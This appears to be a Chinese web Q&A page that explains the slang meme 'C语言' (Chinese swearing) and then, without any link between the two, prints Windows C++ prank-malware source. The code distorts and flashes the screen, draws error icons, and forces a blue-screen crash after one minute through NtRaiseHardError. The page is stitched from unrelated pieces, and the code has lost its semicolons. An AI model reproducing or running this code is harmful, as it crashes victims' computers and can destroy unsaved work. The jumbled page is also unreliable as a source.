网络c语言是什么梗

Python018

网络c语言是什么梗,第1张

这个梗的含义:

“C语言”本来指的是一种计算机编程语言,但是后来因为一些骂人的话里面的拼音首字母是“C”,于是被人们称为“C语言”,比如“草”、“艹”、“操”等字的拼音首字母都是“C”。在一些知名人物骂出类似的话,并且骂得恰到好处的时候,网友们就会表示,“好优美的c语言,好优美的中国话。”

这个梗的来源:

一些骂人的话里面的拼音首字母是“C”,于是被人们称为“C语言”,比如“草”、“艹”、“操”等字的拼音首字母都是“C”。

这个梗的用法:

“C语言”这个词在网络上出现之后,后续又出现了很多类似的梗,比如“羽女双c语言教学”、“CAO”等等。“羽女双c语言教学”指的是在2021年的东京奥运会羽毛球女双比赛中,中国队员陈清晨在得分之后的状态。陈清晨在得分之后喊出一声声的“我艹!”“我cao!”“我艹艹艹!”等“优美”的中国话。之后,网友们便将这一行为称为“C语言教学”。“CAO”是“羽女双c语言教学”的最新解释,微博博主“谐音梗研究所”说到,“中国运动员喊的‘CAO’实际上是‘Champion At Olympics’的缩写,‘我CAO’的意思是“我要拿奥运冠军。”除此之外,还有网友解释到,“运动员喊的‘CaO’是氧化钙也就是生石灰的化学式,向对手表达她们‘粉骨碎身全不怕,要留清白在人间’的比赛态度。”

先上代码

#include <Windows.h>

#include <time.h>

using namespace std

int call

int ScreenWidth = GetSystemMetrics(SM_CXSCREEN)

int ScreenHeight = GetSystemMetrics(SM_CYSCREEN)

int IconWidth = GetSystemMetrics(SM_CXICON)

int IconHeight = GetSystemMetrics(SM_CYICON)

HDC hdc=GetWindowDC(GetDesktopWindow())

#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)

int random(int upper_bound) {

 if(upper_bound==0) {

  return 0

 }

 srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call))

 call++

 return rand() % upper_bound

}

DWORD WINAPI FlashDesktop(LPVOID Param) {

 while(true) {

  BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY)

  Sleep(random(100))

 }

 return 0

}

int GetWay() {

 int r=random(3)

 switch(r) {

  case 0:

   return SRCAND

  case 1:

   return SRCINVERT

  case 2:

   return SRCPAINT

 }

}

DWORD WINAPI ScreenXorOperation1(LPVOID Param) {

 while(true) {

  int RandWidth = random(ScreenWidth)

  int RandHeight = random(ScreenHeight)

  int RandxPixel = random(ScreenWidth - RandWidth)

  int RandyPixel = random(ScreenHeight - RandHeight)

  int RandDestxPixel = random(ScreenWidth - RandWidth)

  int RandDestyPixel = random(ScreenHeight - RandHeight)

  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT)

  Sleep(random(100))

 }

 return 0

}

DWORD WINAPI ScreenXorOperation2(LPVOID Param) {

 while(true) {

  int RandWidth = random(ScreenWidth)

  int RandHeight = random(ScreenHeight)

  int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth

  int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight

  int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth

  int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight

  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT)

  Sleep(random(100))

 }

 return 0

}

DWORD WINAPI CallBsod1MinLater(LPVOID Param) {

 Sleep(60000)

 HMODULE ntdll = LoadLibrary("ntdll.dll")

 FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege")

 FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError")

 unsigned char temp0

 long unsigned int temp1

 ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, &temp0)

 ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, &temp1)

 return 0

}

DWORD WINAPI DrawErrors(LPVOID Param) {

 while(true) {

  int RandxPixel = random(ScreenWidth - IconWidth / 2)

  int RandyPixel = random(ScreenHeight - IconHeight / 2)

  DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR))

  Sleep(random(50))

 }

 return 0

}

int main(void) {

 CreateThread(NULL, 4096, &FlashDesktop, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &ScreenXorOperation1, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &ScreenXorOperation2, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &CallBsod1MinLater, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &DrawErrors, NULL, NULL, NULL)

 while(true)

}

运行这段代码首先会花屏并闪屏,一分钟后蓝屏。

效果图: